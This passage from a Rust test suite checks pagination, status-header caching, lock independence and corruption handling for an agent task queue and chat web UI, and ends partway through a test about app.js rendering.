26246            seen, expected,
26247            "the cursor walk must return every surviving ID"
26248        );
26249        let refreshed = talks_page(
26250            State(ui.clone()),
26251            Query(PageQuery::default()),
26252            header::HeaderMap::new(),
26253        )
26254        .await
26255        .unwrap()
26256        .0;
26257        assert_eq!(
26258            refreshed
26259                .rows
26260                .iter()
26261                .filter(|row| row.status.open())
26262                .count(),
26263            23
26264        );
26265        assert!(
26266            refreshed
26267                .rows
26268                .iter()
26269                .any(|row| row.id == "20261019-000000-000")
26270        );
26271        assert!(
26272            !refreshed
26273                .rows
26274                .iter()
26275                .any(|row| row.id == "20260101-000000-000")
26276        );
26277    }
26278
26279    #[test]
26280    fn talk_pages_with_only_open_rows_have_no_history_cursor() {
26281        let home = tempfile::tempdir().unwrap();
26282        let ui = delta_test_ui(home.path());
26283        for i in 0..STORE_PAGE_SIZE + 5 {
26284            seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
26285        }
26286        let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
26287        assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
26288        assert!(next.is_none());
26289    }
26290
26291    #[test]
26292    fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
26293        struct Counted<R> {
26294            inner: R,
26295            bytes: usize,
26296        }
26297        impl<R: std::io::Read> std::io::Read for Counted<R> {
26298            fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
26299                let n = self.inner.read(buf)?;
26300                self.bytes += n;
26301                Ok(n)
26302            }
26303        }
26304        let home = tempfile::tempdir().unwrap();
26305        let ui = delta_test_ui(home.path());
26306        let id = seed_talk_at(&ui.talks, "header-chat", "closed");
26307        let mut chat = ui.talks.get(&id).unwrap();
26308        for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
26309            chat.turns = vec![
26310                serde_json::from_value(serde_json::json!({
26311                    "who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
26312                }))
26313                .unwrap(),
26314            ];
26315            for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
26316                chat.status = status;
26317                // Exercise the actual on-disk serializer, including its field order.
26318                let body = serde_json::to_vec_pretty(&chat).unwrap();
26319                let mut reader = Counted {
26320                    inner: body.as_slice(),
26321                    bytes: 0,
26322                };
26323                assert_eq!(read_talk_status(&mut reader), Some(status));
26324                assert!(
26325                    reader.bytes <= 1024,
26326                    "header classification read {} bytes",
26327                    reader.bytes
26328                );
26329            }
26330        }
26331        // Noncanonical field order must neither traverse a transcript nor hide
26332        // an open row. Its real status is validated by the ordinary row reader.
26333        let noncanonical = format!(
26334            r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
26335            "x".repeat(1024 * 1024)
26336        );
26337        let mut reader = Counted {
26338            inner: noncanonical.as_bytes(),
26339            bytes: 0,
26340        };
26341        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
26342        assert!(reader.bytes <= 1024);
26343        let oversized = format!(
26344            r#"{{"agent":"{}","status":"open"}}"#,
26345            "x".repeat(128 * 1024)
26346        );
26347        let mut reader = Counted {
26348            inner: oversized.as_bytes(),
26349            bytes: 0,
26350        };
26351        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
26352        assert!(reader.bytes <= 64 * 1024);
26353    }
26354
26355    #[test]
26356    fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
26357        let home = tempfile::tempdir().unwrap();
26358        let ui = delta_test_ui(home.path());
26359        seed_talk_at(&ui.talks, "header-chat", "open");
26360        std::fs::create_dir_all(ui.queue.root()).unwrap();
26361        let (started, ready) = std::sync::mpsc::channel();
26362        let (release, wait) = std::sync::mpsc::channel();
26363        let chat_ui = ui.clone();
26364        let scan = std::thread::spawn(move || {
26365            page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
26366                started.send(()).unwrap();
26367                wait.recv().unwrap();
26368                open_talk_ids(ui, ids)
26369            })
26370            .unwrap()
26371        });
26372        ready.recv_timeout(Duration::from_secs(2)).unwrap();
26373        let (finished, result) = std::sync::mpsc::channel();
26374        let queue = std::thread::spawn(move || {
26375            finished
26376                .send(page_ids(&ui, false, PageQuery::default()).is_ok())
26377                .unwrap();
26378        });
26379        let completed = result.recv_timeout(Duration::from_secs(2));
26380        // Release and join both workers even if the regression returns.
26381        release.send(()).unwrap();
26382        scan.join().unwrap();
26383        queue.join().unwrap();
26384        assert!(
26385            completed.unwrap(),
26386            "queue paging must not wait for chat header I/O"
26387        );
26388    }
26389
26390    #[test]
26391    fn talk_status_projection_does_not_cache_files_changed_during_read() {
26392        let home = tempfile::tempdir().unwrap();
26393        let ui = delta_test_ui(home.path());
26394        let ids = vec!["changing-chat".to_owned()];
26395        seed_talk_at(&ui.talks, &ids[0], "closed");
26396        assert!(open_talk_ids(&ui, &ids).is_empty());
26397        seed_talk_at(&ui.talks, &ids[0], "open");
26398        let open = open_talk_ids_with(&ui, &ids, cfg!(unix), |path| {
26399            let value: serde_json::Value =
26400                serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
26401            // Replace the file after parsing, before its identity is checked again.
26402            seed_talk_at(&ui.talks, &ids[0], "closed");
26403            serde_json::from_value(value["status"].clone()).ok()
26404        });
26405        assert!(open.contains(&ids[0]));
26406        assert!(
26407            ui.monitor
26408                .talk_status_index
26409                .lock()
26410                .unwrap()
26411                .records
26412                .is_empty()
26413        );
26414        assert!(open_talk_ids(&ui, &ids).is_empty());
26415        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
26416    }
26417
26418    #[test]
26419    fn talk_status_projection_rereads_when_metadata_cannot_prove_identity() {
26420        let home = tempfile::tempdir().unwrap();
26421        let ui = delta_test_ui(home.path());
26422        let ids = vec!["same-stamp-chat".to_owned()];
26423        seed_talk_at(&ui.talks, &ids[0], "open");
26424        // Model a non-Unix metadata collision deterministically: the old
26425        // classification has a fingerprint equal to the current file's.
26426        ui.monitor.talk_status_index.lock().unwrap().records.insert(
26427            ids[0].clone(),
26428            (
26429                file_identity(&ui.talks.path_of(&ids[0])).unwrap(),
26430                Some(talk::TalkStatus::Closed),
26431            ),
26432        );
26433        let open = open_talk_ids_with(&ui, &ids, false, |path| {
26434            std::fs::File::open(path).ok().and_then(read_talk_status)
26435        });
26436        assert!(
26437            open.contains(&ids[0]),
26438            "an untrusted cache hit must still read the current header"
26439        );
26440        assert!(
26441            ui.monitor
26442                .talk_status_index
26443                .lock()
26444                .unwrap()
26445                .records
26446                .is_empty()
26447        );
26448        seed_talk_at(&ui.talks, &ids[0], "closed");
26449        assert!(
26450            open_talk_ids_with(&ui, &ids, false, |path| {
26451                std::fs::File::open(path).ok().and_then(read_talk_status)
26452            })
26453            .is_empty()
26454        );
26455        let index = ui.monitor.talk_status_index.lock().unwrap();
26456        assert_eq!(index.parses, 2);
26457        assert!(
26458            index.records.is_empty(),
26459            "untrusted fingerprints must never publish cache entries"
26460        );
26461    }
26462
26463    #[test]
26464    fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
26465        let home = tempfile::tempdir().unwrap();
26466        let ui = delta_test_ui(home.path());
26467        let headers = header::HeaderMap::new();
26468        seed_talk_at(&ui.talks, "open-chat", "open");
26469        seed_talk_at(&ui.talks, "closed-chat", "closed");
26470        talk_rows(
26471            &ui,
26472            vec!["open-chat".into(), "closed-chat".into()],
26473            &headers,
26474        );
26475        {
26476            let mut index = ui.monitor.talk_index.lock().unwrap();
26477            let closed = index["closed-chat"].1.clone();
26478            for i in 0..1000 {
26479                index.insert(
26480                    format!("cached-closed-{i}"),
26481                    (
26482                        file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
26483                        closed.clone(),
26484                    ),
26485                );
26486            }
26487        }
26488        assert_eq!(
26489            talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
26490            1
26491        );
26492        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
26493        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
26494        assert_eq!(
26495            ui.monitor
26496                .talk_parses
26497                .load(std::sync::atomic::Ordering::Relaxed),
26498            2
26499        );
26500        {
26501            let mut index = ui.monitor.talk_index.lock().unwrap();
26502            let open = index["open-chat"].1.clone();
26503            for i in 0..1000 {
26504                index.insert(
26505                    format!("cached-open-{i}"),
26506                    (
26507                        file_identity(&ui.talks.path_of("open-chat")).unwrap(),
26508                        open.clone(),
26509                    ),
26510                );
26511            }
26512        }
26513        // Even when open rows exceed the bound, keep the currently requested rows.
26514        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
26515        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
26516        assert_eq!(
26517            ui.monitor
26518                .talk_parses
26519                .load(std::sync::atomic::Ordering::Relaxed),
26520            2
26521        );
26522    }
26523
26524    #[test]
26525    fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
26526        let home = tempfile::tempdir().unwrap();
26527        let ui = delta_test_ui(home.path());
26528        std::fs::create_dir_all(ui.talks.root()).unwrap();
26529        let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
26530        for id in &ids {
26531            std::fs::write(
26532                ui.talks.path_of(id),
26533                r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
26534            )
26535            .unwrap();
26536        }
26537        assert!(open_talk_ids(&ui, &ids).is_empty());
26538        assert_eq!(
26539            ui.monitor.talk_status_index.lock().unwrap().parses,
26540            ids.len()
26541        );
26542        assert!(open_talk_ids(&ui, &ids).is_empty());
26543        let reused = if cfg!(unix) { ids.len() } else { 2 * ids.len() };
26544        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, reused);
26545        std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
26546        std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
26547        assert_eq!(
26548            open_talk_ids(&ui, &ids),
26549            std::collections::HashSet::from([ids[0].clone()])
26550        );
26551        let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
26552        let refreshed = if cfg!(unix) { 2 } else { ids.len() };
26553        assert_eq!(parsed, reused + refreshed);
26554        open_talk_ids(&ui, &ids);
26555        assert_eq!(
26556            ui.monitor.talk_status_index.lock().unwrap().parses,
26557            parsed + if cfg!(unix) { 0 } else { ids.len() },
26558            "only reliable file identity permits caching, including unreadable rows"
26559        );
26560        std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
26561        assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
26562        assert!(
26563            !ui.monitor
26564                .talk_status_index
26565                .lock()
26566                .unwrap()
26567                .records
26568                .contains_key(&ids[0])
26569        );
26570        assert!(
26571            ui.monitor.talk_index.lock().unwrap().is_empty(),
26572            "classification never caches bodies"
26573        );
26574    }
26575
26576    #[tokio::test]
26577    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
26578        let home = tempfile::tempdir().unwrap();
26579        let ui = delta_test_ui(home.path());
26580        let mut task = Task::new(
26581            "task".into(),
26582            "body".into(),
26583            PathBuf::from("/repo"),
26584            Source::Human,
26585        );
26586        ui.queue.put(&mut task).unwrap();
26587        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
26588        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
26589        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
26590        let expected = parsed + usize::from(!cfg!(unix));
26591        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
26592        task.status = crate::queue::TaskStatus::Held;
26593        ui.queue.put(&mut task).unwrap();
26594        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
26595        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
26596        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
26597        ui.queue.put(&mut task).unwrap();
26598        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
26599        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
26600        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
26601    }
26602
26603    #[tokio::test]
26604    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
26605        let home = tempfile::tempdir().unwrap();
26606        let ui = delta_test_ui(home.path());
26607        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
26608        let before = health(State(ui.clone())).await.unwrap().0;
26609        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
26610        let after = health(State(ui)).await.unwrap().0;
26611        assert_ne!(before.notifications_rev, after.notifications_rev);
26612        assert_eq!(after.notifications_unread, 1);
26613    }
26614
26615    #[tokio::test]
26616    async fn list_pages_bound_history_and_keep_dependency_evidence() {
26617        let home = tempfile::tempdir().unwrap();
26618        let ui = delta_test_ui(home.path());
26619        let queue = &ui.queue;
26620        let talks = &ui.talks;
26621        for i in 0..1000 {
26622            let id = format!("20261019-{i:06}-page");
26623            let mut task = Task::new(
26624                "task".into(),
26625                "instruction".repeat(100),
26626                PathBuf::from("/repo/magi"),
26627                Source::Human,
26628            );
26629            task.id = id.clone();
26630            if i == 0 {
26631                task.status = crate::queue::TaskStatus::Held;
26632            } else if i == 999 {
26633                task.status = crate::queue::TaskStatus::Blocked;
26634                task.blocked_by = vec!["20261019-000000-page".into()];
26635            }
26636            queue.put(&mut task).unwrap();
26637            seed_talk_at(talks, &id, "closed");
26638        }
26639        let page = serde_json::to_value(
26640            queue_page(State(ui.clone()), Query(PageQuery::default()))
26641                .await
26642                .unwrap()
26643                .0,
26644        )
26645        .unwrap();
26646        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26647        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
26648        assert!(
26649            !page["rows"][0]["stuck_roots"]
26650                .as_array()
26651                .unwrap()
26652                .is_empty()
26653        );
26654        let cursor = page["next"].as_str().unwrap();
26655        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
26656            .as_str()
26657            .unwrap();
26658        // Deleting an already enumerated file cannot shift or repeat a page.
26659        std::fs::remove_file(queue.path_of(last_id)).unwrap();
26660        let next = serde_json::to_value(
26661            queue_page(
26662                State(ui.clone()),
26663                Query(PageQuery {
26664                    before: Some(cursor.into()),
26665                }),
26666            )
26667            .await
26668            .unwrap()
26669            .0,
26670        )
26671        .unwrap();
26672        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26673        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
26674        let chats = serde_json::to_value(
26675            talks_page(
26676                State(ui.clone()),
26677                Query(PageQuery::default()),
26678                header::HeaderMap::new(),
26679            )
26680            .await
26681            .unwrap()
26682            .0,
26683        )
26684        .unwrap();
26685        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26686        assert!(chats["rows"][0].get("pending").is_none());
26687        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
26688        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
26689        assert_eq!(counts["held"], 1);
26690        assert_eq!(counts["blocked"], 1);
26691        assert_eq!(counts["queued"], 997);
26692    }
26693
26694    #[test]
26695    fn queue_index_observes_external_replacement_deletion_and_corruption() {
26696        let dir = tempfile::tempdir().unwrap();
26697        let ui = delta_test_ui(dir.path());
26698        let mut task = Task::new(
26699            "task".into(),
26700            "body".into(),
26701            PathBuf::from("/repo"),
26702            Source::Human,
26703        );
26704        task.runs = vec!["run-a".into()];
26705        ui.queue.put(&mut task).unwrap();
26706        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
26707        task.runs = vec!["run-b".into()];
26708        let path = ui.queue.path_of(&task.id);
26709        let modified = path.metadata().unwrap().modified().unwrap();
26710        let replacement = path.with_extension("replacement");
26711        let bytes = serde_json::to_vec_pretty(&task).unwrap();
26712        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
26713        std::fs::write(&replacement, &bytes).unwrap();
26714        std::fs::File::options()
26715            .write(true)
26716            .open(&replacement)
26717            .unwrap()
26718            .set_times(std::fs::FileTimes::new().set_modified(modified))
26719            .unwrap();
26720        std::fs::rename(&replacement, &path).unwrap();
26721        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
26722        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
26723        std::fs::write(&path, "broken").unwrap();
26724        assert!(ui.find_task_for_run("run-b").is_err());
26725        std::fs::write(&path, bytes).unwrap();
26726        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
26727        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
26728        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
26729    }
26730
26731    #[tokio::test]
26732    async fn conversation_core_is_independent_of_unreadable_related_history() {
26733        let home = tempfile::tempdir().unwrap();
26734        let ui = delta_test_ui(home.path());
26735        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26736        std::fs::create_dir_all(ui.queue.root()).unwrap();
26737        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
26738        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
26739            .await
26740            .unwrap();
26741        assert_eq!(core.talk.id, id);
26742        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
26743    }
26744
26745    #[test]
26746    fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
26747        let home = tempfile::tempdir().unwrap();
26748        let ui = delta_test_ui(home.path());
26749        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
26750        let directory = home.path().join("workers/jobs/abcdef");
26751        std::fs::create_dir_all(&directory).unwrap();
26752        let job = crate::worker::Job {
26753            id: "abcdef".into(),
26754            sequence: 1,
26755            kind: "chat".into(),
26756            key: id.clone(),
26757            payload: serde_json::json!({ "talk": id }),
26758            generation: "test".into(),
26759            version: None,
26760            status: crate::worker::Status::Running,
26761            result: None,
26762            pid: None,
26763            created_at: 0,
26764            finished_at: None,
26765        };
26766        std::fs::write(
26767            directory.join("job.json"),
26768            serde_json::to_vec(&job).unwrap(),
26769        )
26770        .unwrap();
26771        let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
26772        let store =
26773            crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
26774        let runtime = tokio::runtime::Builder::new_current_thread()
26775            .enable_all()
26776            .max_blocking_threads(1)
26777            .build()
26778            .unwrap();
26779        runtime.block_on(async {
26780            let (release, held) = std::sync::mpsc::channel();
26781            let (started, ready) = tokio::sync::oneshot::channel();
26782            let occupied = tokio::task::spawn_blocking(move || {
26783                started.send(()).unwrap();
26784                held.recv().unwrap();
26785            });
26786            ready.await.unwrap();
26787            let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
26788            let bulk = ui
26789                .monitor
26790                .bulk_slots
26791                .clone()
26792                .acquire_many_owned(2)
26793                .await
26794                .unwrap();
26795            let result = tokio::time::timeout(
26796                Duration::from_secs(2),
26797                talk_core(State(ui.clone()), Path(id.clone())),
26798            )
26799            .await;
26800            // Release all blockers before assertions, including on a regression.
26801            drop(store);
26802            drop(bulk);
26803            release.send(()).unwrap();
26804            occupied.await.unwrap();
26805            let _ = secondary.await.unwrap().unwrap();
26806            let Json(core) = result
26807                .expect("transcript must bypass secondary work and the worker store lock")
26808                .unwrap();
26809            assert!(
26810                core.thinking,
26811                "read-only observation retains live worker state"
26812            );
26813            assert_eq!(core.talk.id, id);
26814            let admission_ui = ui.clone();
26815            let (release, held) = std::sync::mpsc::channel();
26816            let (started, ready) = tokio::sync::oneshot::channel();
26817            let admission = std::thread::spawn(move || {
26818                let _lock = admission_ui.talk_turns.lock().unwrap();
26819                started.send(()).unwrap();
26820                held.recv().unwrap();
26821            });
26822            ready.await.unwrap();
26823            let result = tokio::time::timeout(
26824                Duration::from_secs(2),
26825                talk_core(State(ui.clone()), Path(id.clone())),
26826            )
26827            .await;
26828            release.send(()).unwrap();
26829            admission.join().unwrap();
26830            assert!(
26831                result
26832                    .expect("display must not wait behind local admission")
26833                    .unwrap()
26834                    .0
26835                    .thinking
26836            );
26837            assert!(ui.is_thinking(&id));
26838            assert!(ui.is_thinking_observed(&id));
26839            drop(live);
26840            assert!(
26841                !ui.is_thinking_observed(&id),
26842                "a finished lease no longer appears live"
26843            );
26844            assert!(!ui.is_thinking(&id));
26845            let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
26846            assert!(
26847                ui.is_thinking_observed(&id),
26848                "local admission remains visible"
26849            );
26850        });
26851    }
26852
26853    #[tokio::test]
26854    async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
26855        let home = tempfile::tempdir().unwrap();
26856        let ui = delta_test_ui(home.path());
26857        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
26858        let mut task = Task::new(
26859            "Referenced task".into(),
26860            "Unrelated instruction history".repeat(1024),
26861            home.path().into(),
26862            Source::Human,
26863        );
26864        task.id = "20261019-000000-abcd".into();
26865        ui.queue.put(&mut task).unwrap();
26866        let mut conversation = ui.talks.get(&id).unwrap();
26867        conversation.turns.push(talk::Turn {
26868            sender: Some(talk::Sender::Persona),
26869            who: talk::Who::Agent,
26870            body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
26871            at: conversation.created_at,
26872            attachments: Vec::new(),
26873            usage: None,
26874            breaks: None,
26875            messages: Vec::new(),
26876            posted_by: None,
26877        });
26878        ui.talks.put(&mut conversation).unwrap();
26879
26880        let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
26881        let markdown = serde_json::to_value(&core.turn_bodies_md)
26882            .unwrap()
26883            .to_string();
26884        assert!(markdown.contains("\"strong\""));
26885        assert!(markdown.contains("\"table\""));
26886        assert!(markdown.contains("\"bullet_list\""));
26887        assert!(markdown.contains("\"code_block\""));
26888        assert!(!markdown.contains("\"internal_link\""));
26889        assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
26890        assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
26891        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
26892
26893        // Deferred decoration still resolves the same validated task, without
26894        // touching opaque code blocks or changing the original transcript.
26895        let references = ui.references.for_talk(home.path(), &conversation);
26896        let mut decorated = core.turn_bodies_md[0].clone();
26897        references.markdown(&mut decorated);
26898        let decorated = serde_json::to_value(decorated).unwrap().to_string();
26899        assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
26900        assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
26901        assert_eq!(
26902            ui.talks.get(&conversation.id).unwrap().turns[0].body,
26903            conversation.turns[0].body
26904        );
26905    }
26906
26907    #[tokio::test]
26908    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
26909        let home = tempfile::tempdir().unwrap();
26910        let ui = delta_test_ui(home.path());
26911        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26912        let mut run = RunState::new(
26913            PathBuf::from("/repo"),
26914            "main".into(),
26915            "01234567".into(),
26916            "Useful run".into(),
26917            Config::default(),
26918        );
26919        run.save_under(home.path()).unwrap();
26920        let mut task = Task::new(
26921            "Related".into(),
26922            "body".into(),
26923            PathBuf::from("/repo"),
26924            Source::Agent {
26925                run: talk_id.clone(),
26926                node: "chat".into(),
26927            },
26928        );
26929        task.runs = vec![run.id.clone()];
26930        ui.queue.put(&mut task).unwrap();
26931        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
26932        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
26933        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
26934        assert!(
26935            run_detail(State(ui.clone()), Path(run.id.clone()))
26936                .await
26937                .is_ok()
26938        );
26939        assert!(
26940            talk_sections(State(ui.clone()), Path(talk_id.clone()))
26941                .await
26942                .is_ok()
26943        );
26944        // Previously indexed corruption must not masquerade as no relationship.
26945        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
26946        assert!(ui.find_task_for_run(&run.id).is_err());
26947        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
26948        ui.queue.put(&mut task).unwrap();
26949        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
26950    }
26951
26952    #[tokio::test]
26953    async fn conversation_sections_omit_large_task_instructions() {
26954        let home = tempfile::tempdir().unwrap();
26955        let ui = delta_test_ui(home.path());
26956        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26957        let mut task = Task::new(
26958            "filed task".into(),
26959            "large instruction ".repeat(65536),
26960            PathBuf::from("/repo"),
26961            Source::Agent {
26962                run: id.clone(),
26963                node: "chat".into(),
26964            },
26965        );
26966        ui.queue.put(&mut task).unwrap();
26967        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
26968        assert_eq!(sections["tasks"][0]["id"], task.id);
26969        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
26970        assert!(sections["tasks"][0].get("instruction").is_none());
26971        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
26972    }
26973
26974    #[test]
26975    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
26976        let home = tempfile::tempdir().unwrap();
26977        let talks = Talks::at(home.path().join("talks"));
26978        seed_talk_at(&talks, "20261019-000001-abcd", "open");
26979        seed_talk_at(&talks, "20261019-000002-abcd", "open");
26980        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
26981        assert!(resolve_talk(&talks, "../outside").is_err());
26982        assert!(resolve_talk(&talks, "abcd").is_err());
26983        assert_eq!(
26984            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
26985            "20261019-000001-abcd"
26986        );
26987    }
26988
26989    include!(concat!(
26990        env!("CARGO_MANIFEST_DIR"),
26991        "/tests/web_latency/baseline.rs"
26992    ));
26993
26994    include!(concat!(
26995        env!("CARGO_MANIFEST_DIR"),
26996        "/tests/web_latency/lists.rs"
26997    ));
26998
26999    #[tokio::test]
27000    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
27001    async fn web_history_latency_measurement() {
27002        use std::time::Instant;
27003        let home = tempfile::tempdir().unwrap();
27004        let ui = delta_test_ui(home.path());
27005        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
27006        let mut template = ui.talks.get(&id).unwrap();
27007        template.turns = serde_json::from_value(serde_json::json!([{
27008            "who": "operator", "body": "Show the accumulated work and its current status.",
27009            "at": Timestamp::now().to_string(),
27010        }]))
27011        .unwrap();
27012        std::fs::write(
27013            ui.talks.path_of(&id),
27014            serde_json::to_vec(&template).unwrap(),
27015        )
27016        .unwrap();
27017        let count = std::env::var("MAGI_BENCH_RECORDS")
27018            .ok()
27019            .and_then(|s| s.parse::<usize>().ok())
27020            .unwrap_or(1000);
27021        for i in 0..count {
27022            template.id = format!("20261019-{i:06}-history");
27023            template.pending = "history ".repeat(2048);
27024            std::fs::write(
27025                ui.talks.path_of(&template.id),
27026                serde_json::to_vec(&template).unwrap(),
27027            )
27028            .unwrap();
27029            let mut task = Task::new(
27030                "old task".into(),
27031                "instruction ".repeat(2048),
27032                PathBuf::from("/repo"),
27033                Source::Human,
27034            );
27035            task.id = format!("20261019-{i:06}-task");
27036            ui.queue.put(&mut task).unwrap();
27037        }
27038        for baseline in [true, false] {
27039            for clients in [1, 4] {
27040                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
27041                let mut samples = Vec::new();
27042                for _ in 0..12 {
27043                    let mut jobs = Vec::new();
27044                    for _ in 0..clients {
27045                        let ui = ui.clone();
27046                        let id = id.clone();
27047                        jobs.push(tokio::spawn(async move {
27048                            let start = Instant::now();
27049                            if baseline {
27050                                let response =
27051                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
27052                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
27053                                return (
27054                                    elapsed,
27055                                    elapsed,
27056                                    serde_json::to_vec(&response).unwrap().len(),
27057                                );
27058                            }
27059                            let core = talk_core(State(ui.clone()), Path(id.clone()));
27060                            let secondary = talk_sections(State(ui), Path(id));
27061                            let (first, total) = tokio::join!(
27062                                async {
27063                                    let value = core.await.unwrap().0;
27064                                    (
27065                                        start.elapsed().as_secs_f64() * 1000.0,
27066                                        serde_json::to_vec(&value).unwrap().len(),
27067                                    )
27068                                },
27069                                async {
27070                                    let value = secondary.await.unwrap().0;
27071                                    (
27072                                        start.elapsed().as_secs_f64() * 1000.0,
27073                                        serde_json::to_vec(&value).unwrap().len(),
27074                                    )
27075                                }
27076                            );
27077                            (first.0, first.0.max(total.0), first.1 + total.1)
27078                        }));
27079                    }
27080                    for job in jobs {
27081                        samples.push(job.await.unwrap());
27082                    }
27083                }
27084                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
27085                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
27086                first.sort_by(f64::total_cmp);
27087                total.sort_by(f64::total_cmp);
27088                let n = first.len();
27089                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
27090                println!(
27091                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
27092                    first[n / 2],
27093                    first[(n * 95 / 100).min(n - 1)],
27094                    total[n / 2],
27095                    total[(n * 95 / 100).min(n - 1)],
27096                    samples[0].2
27097                );
27098            }
27099        }
27100    }
27101
27102    #[test]
27103    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
27104        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
27105        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
